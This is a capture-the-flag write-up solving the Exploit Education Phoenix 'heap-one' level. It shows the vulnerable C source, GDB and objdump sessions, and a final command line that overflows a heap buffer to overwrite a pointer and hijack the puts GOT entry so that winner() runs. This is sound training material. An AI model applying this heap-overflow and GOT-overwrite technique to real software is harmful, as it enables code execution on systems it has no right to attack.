This level explores what can be done with data overwrites.
The description and source code can be found here:
http://exploit.education/phoenix/heap-one/
Fundamentally, this level is not much different than the last one. I’ll be using a buffer overflow exploit. Though this one is a little trickier. We can see what needs to be done just by looking at the source code:
struct heapStructure { int priority; char *name; }; int main(int argc, char **argv) { struct heapStructure *i1, *i2; i1 = malloc(sizeof(struct heapStructure)); i1->priority = 1; i1->name = malloc(8); i2 = malloc(sizeof(struct heapStructure)); i2->priority = 2; i2->name = malloc(8); strcpy(i1->name, argv[1]); strcpy(i2->name, argv[2]); printf("and that's a wrap folks!\n"); } void winner() { printf( "Congratulations, you've completed this level @ %ld seconds past the " "Epoch\n", time(NULL)); }
The program allocates 2 pointers on the stack that will point to a struct being stored on the heap. The first struct gets memory allocated to it via malloc(), assigns a number to the priority variable, and allocates another 8 bytes in the heap for the name variable. Then the same thing happens for the second struct. The key here is that the name variable in the struct is a pointer. That’s important because next, the program uses strcpy() to copy the first and second program arguments to the name variables for each struct. Since strcpy() does no bounds checking, I should be able to overflow the buffer of the first name variable and overwrite the pointer to the second name variable. Now I can use the second strcpy() to write (almost) whatever I want to (almost) wherever I want. The goal here is to execute the winner() function. The source code shows one last call to printf() functionbefore the program exits. Maybe I can overwrite the GOT entry for that with the address of the winner() function.
Looking at the disassembly, we see a call to puts() near the end of main(). Sometimes, the compiler optimization will use that instead of printf().
user@phoenix-amd64:~$ cd /opt/phoenix/i486 user@phoenix-amd64:/opt/phoenix/i486$ objdump --no-show-raw-insn -Mintel -d heap-one ... 8048878: add esp,0x10 804887b: sub esp,0xc 804887e: push 0x804ab70 8048883: call 80485b0 <puts@plt> 8048888: add esp,0x10 804888b: mov eax,0x0 8048890: lea esp,[ebp-0x8] 8048893: pop ecx 8048894: pop ebx 8048895: pop ebp 8048896: lea esp,[ecx-0x4] 8048899: ret ...
I’ll need to run the program in GDB to determine the distance between the start of the name buffer and the pointer to the second name variable. I’ll set a breakpoint after the second call to strcpy() so I can search the memory for my input string.
$ gdb -q heap-one GEF for linux ready, type `gef' to start, `gef config' to configure 71 commands loaded for GDB 8.2.1 using Python engine 3.5 [*] 2 commands could not be loaded, run `gef missing` to know why. Reading symbols from heap-one...(no debugging symbols found)...done. gef➤ disas main Dump of assembler code for function main: ... 0x08048873 <+158>: call 0x8048560 <strcpy@plt> 0x08048878 <+163>: add esp,0x10 ... gef➤ b *main+163 Breakpoint 1 at 0x8048878 gef➤ run ABACAD AAAA Starting program: /opt/phoenix/i486/heap-one ABACAD AAAA [... GEF output snipped ...] gef➤ search-pattern ABACAD [+] Searching 'ABACAD' in memory [+] In (0xf7e69000-0xf7f69000), permission=rwx 0xf7e69018 - 0xf7e6901e → "ABACAD" [+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx 0xffffd8dd - 0xffffd8e3 → "ABACAD" gef➤ x/16wx 0xf7e69000 0xf7e69000: 0x00000000 0x00000011 0x00000001 0xf7e69018 0xf7e69010: 0x00000000 0x00000011 0x43414241 0x00004441 0xf7e69020: 0x00000000 0x00000011 0x00000002 0xf7e69038 0xf7e69030: 0x00000000 0x00000011 0x41414141 0x00000000 gef➤ p 0xf7e6902c - 0xf7e69018 $1 = 0x14
I found the location in the heap I was looking for and saw that the buffer for the first name variable begins at 0xf7e69018 and the pointer to the second name variable begins at 0xf7e6902c, which puts them 20 bytes (0x14) apart. Now I need the pointer to the puts() address in the GOT so I can overwrite it as well as the address of the winner() function:
$ objdump --no-show-raw-insn -Mintel -d heap-one ... 080485b0 <puts@plt>: 80485b0: jmp DWORD PTR ds:0x804c140 80485b6: push 0x28 80485bb: jmp 8048550 <.plt> ... $ nm heap-one | grep winner 0804889a T winner
Now to put it all together:
$ ./heap-one $(python -c 'print "A"*20 + "\x40\xc1\x04\x08"') $(echo -e "\x9a\x88\x04\x08") Congratulations, you've completed this level @ 1565476156 seconds past the Epoch